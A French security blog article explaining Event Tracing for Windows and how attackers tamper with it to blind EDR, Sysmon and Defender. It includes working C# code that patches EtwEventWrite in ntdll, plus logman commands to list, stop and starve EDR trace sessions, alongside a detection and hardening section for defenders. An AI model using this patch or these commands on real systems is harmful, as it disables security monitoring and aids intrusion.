L'ETW (Event Tracing for Windows) constitue le socle de télémétrie centralisé du système d'exploitation : EDR (Endpoint Detection and Response), Microsoft Defender, Sysmon et les SIEM s'appuient massivement sur ses fournisseurs pour observer l'activité d'un poste. Les événements collectés couvrent les appels système, les chargements de DLL, les connexions réseau, les allocations mémoire, les accès au registre et les opérations sur les fichiers, ainsi que l'exécution de code managé .NET et les scripts PowerShell. Cette centralisation fait aussi de l'ETW une cible privilégiée : en neutralisant la source, un attaquant aveugle simultanément plusieurs produits de sécurité. Comprendre l'ETW tampering évasion détection Windows suppose donc d'examiner à la fois les techniques de sabotage — patch de ntdll, désactivation de sessions, manipulation du registre — et les signaux résiduels qui permettent, en 2026, de les repérer.

En bref

  • ETW est la colonne vertébrale de la détection Windows — désactiver ETW aveugle les EDR, Sysmon et Defender
  • Le patching de EtwEventWrite dans ntdll.dll (xor eax, eax; ret) est la technique de tampering la plus simple
  • Le provider Threat-Intelligence opère au kernel-level et nécessite PPL pour être consommé — plus résistant au tampering
  • Les sessions ETW peuvent être arrêtées ou modifiées par un admin — surveiller les appels ControlTrace
  • La détection du tampering repose sur l'intégrité de ntdll.dll, le monitoring des sessions et la télémétrie kernel

En bref

  • ETW architecture : providers, sessions, controllers, consumers et le kernel logger
  • Patching ntdll.dll : désactivation de EtwEventWrite en userland
  • Provider tampering : désactivation sélective de providers critiques (Microsoft-Windows-Threat-Intelligence)
  • Session manipulation : détachement des consumers, modification des filtres
  • Détection du tampering : intégrité ntdll, provider monitoring et kernel telemetry
ETW (Event Tracing for Windows) — Infrastructure de tracing haute performance intégrée au kernel Windows. Les providers (composants système ou applicatifs) émettent des événements structurés vers des sessions ETW, qui les routent vers des consumers (EDR, Sysmon, Event Log). ETW gère des milliers de providers couvrant tous les aspects du système.

Architecture ETW : Providers, Sessions et Consumers

Composant ETWRôleVecteur de tampering
ProviderSource d'événements (kernel, .NET CLR, PowerShell...)Unregister, disable, filter manipulation
SessionCanalise les événements vers les consumersStop session, détacher consumer, flush
ControllerCrée/configure les sessionsModifier les paramètres de la session
ConsumerReçoit et traite les événements (EDR, Event Log)Bloquer la réception, modifier les buffers
Kernel LoggerSession spéciale (NT Kernel Logger)Difficile à tamper (kernel-level)

Providers ETW Critiques pour la Sécurité

Tous les providers ETW ne sont pas égaux — certains sont essentiels pour la détection :

Retour terrain

Dans mes missions de red team, la phase de post-exploitation révèle systématiquement des données que le client pensait protégées. Le cas le plus fréquent : des fichiers Excel de comptabilité ou RH stockés sur des partages réseau accessibles à tous les utilisateurs du domaine, sans restriction. Sur les 30 dernières missions, 27 avaient des partages réseau avec des données sensibles accessibles à n'importe quel utilisateur authentifié. La sensibilité des données n'est pas corrélée à leur niveau de protection réel.

  • Microsoft-Windows-Threat-Intelligence : provider kernel-level utilisé par les EDR pour la détection d'injection de code, de manipulation mémoire et d'accès aux credentials (LSASS). C'est le provider le plus critique et le plus ciblé.
  • Microsoft-Windows-DotNETRuntime : traçage de l'exécution .NET, assemblies chargés, JIT compilation — essentiel pour détecter les attaques .NET (in-memory execution, AMSI bypass).
  • Microsoft-Windows-PowerShell : logging complet de PowerShell (ScriptBlock logging, Module logging) — pilier de la détection des attaques PowerShell.
  • Microsoft-Windows-Kernel-Process : création/terminaison de processus, chargement de DLL — base de la détection comportementale.

Technique 1 : Patching de ntdll.dll (EtwEventWrite)

La technique la plus simple : patcher la fonction EtwEventWrite dans ntdll.dll (en mémoire, dans le processus courant) pour qu'elle retourne immédiatement sans émettre d'événement. Tous les événements ETW userland du processus sont silencieusement supprimés :

// C# — Patch de EtwEventWrite (retourne STATUS_SUCCESS sans rien faire)
// TECHNIQUE UTILISÉE PAR LES RED TEAMS — À DES FINS D'AUDIT UNIQUEMENT

using System.Runtime.InteropServices;

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] 
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
 uint flNewProtect, out uint lpflOldProtect);

var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Rendre la mémoire writable
VirtualProtect(etwAddr, (UIntPtr)2, 0x40, out uint oldProtect);

// Écrire "xor eax, eax; ret" (retourne 0 = STATUS_SUCCESS)
Marshal.WriteByte(etwAddr, 0x33); // xor eax, eax
Marshal.WriteByte(etwAddr + 1, 0xC0);
Marshal.WriteByte(etwAddr + 2, 0xC3); // ret

// Restaurer les protections mémoire
VirtualProtect(etwAddr, (UIntPtr)2, oldProtect, out _);

Technique 2 : Provider Unregistration

Au lieu de patcher des fonctions, l'attaquant peut désenregistrer les providers ETW critiques ou modifier leurs paramètres de filtrage pour supprimer les événements spécifiques qui intéressent la détection. Cette technique est plus subtile que le patching car elle utilise les API ETW légitimes.

Technique 3 : Manipulation des Sessions ETW

Les sessions ETW peuvent être listées, modifiées et arrêtées avec des privilèges administrateur. Un attaquant peut :

# Lister les sessions ETW actives (identifier les sessions EDR)
logman query -ets

# Les sessions typiques d'un EDR :
# - "SenseNdr" (Microsoft Defender for Endpoint) 
# - "CrowdStrike" (Falcon)
# - "SentinelOne" (S1 Agent)
# - "Sysmon" (System Monitor)

# Arrêter une session ETW (nécessite SYSTEM ou admin)
# logman stop "SessionName" -ets

# Modifier le buffer size (réduire → perte d'événements par overflow)
# logman update "SessionName" -ets -bs 1

Détection du ETW Tampering

Les défenseurs doivent surveiller activement les tentatives de tampering :

  • Intégrité de ntdll.dll : comparer les octets de EtwEventWrite en mémoire avec la version sur disque. Tout écart indique un patching.
  • Provider monitoring : surveiller les appels à EventUnregister, ControlTrace(EVENT_TRACE_CONTROL_STOP), et les modifications de session ETW.
  • Kernel telemetry : le provider Microsoft-Windows-Threat-Intelligence opère au niveau kernel — il ne peut pas être désactivé par un patching userland de ntdll.dll.
  • ETW self-monitoring : utiliser ETW pour surveiller les modifications d'ETW (meta-monitoring). Le provider Microsoft-Windows-EventTraceConfig émet des événements quand des sessions sont créées/modifiées/arrêtées.
  • PPL protection : exécuter l'EDR en tant que PPL (Protected Process Light) empêche le patching de ses propres copies de ntdll.dll par des processus non-PPL.

Le Provider Threat-Intelligence

Le provider Microsoft-Windows-Threat-Intelligence est spécial : il opère au niveau kernel et ne peut être consommé que par des processus PPL (Protected Process Light) avec le signer ELAM (Early Launch Anti-Malware). Il fournit des événements critiques comme les écritures mémoire inter-processus (injection de code), les allocations mémoire exécutables et les accès aux credentials. Le tamper de ce provider nécessite un driver kernel ou un exploit pour PPL bypass.

⚠️ Attention — Le patching de ntdll.dll (EtwEventWrite) est la technique de tampering la plus courante mais aussi la plus détectable. Les EDR modernes vérifient périodiquement l'intégrité de ntdll.dll en mémoire. Les techniques plus avancées (provider manipulation, session filtering) sont plus furtives mais nécessitent des privilèges élevés.

À retenir

  • ETW est la colonne vertébrale de la détection Windows — désactiver ETW aveugle les EDR, Sysmon et Defender
  • Le patching de EtwEventWrite dans ntdll.dll (xor eax, eax; ret) est la technique de tampering la plus simple
  • Le provider Threat-Intelligence opère au kernel-level et nécessite PPL pour être consommé — plus résistant au tampering
  • Les sessions ETW peuvent être arrêtées ou modifiées par un admin — surveiller les appels ControlTrace
  • La détection du tampering repose sur l'intégrité de ntdll.dll, le monitoring des sessions et la télémétrie kernel

🔗 Références externes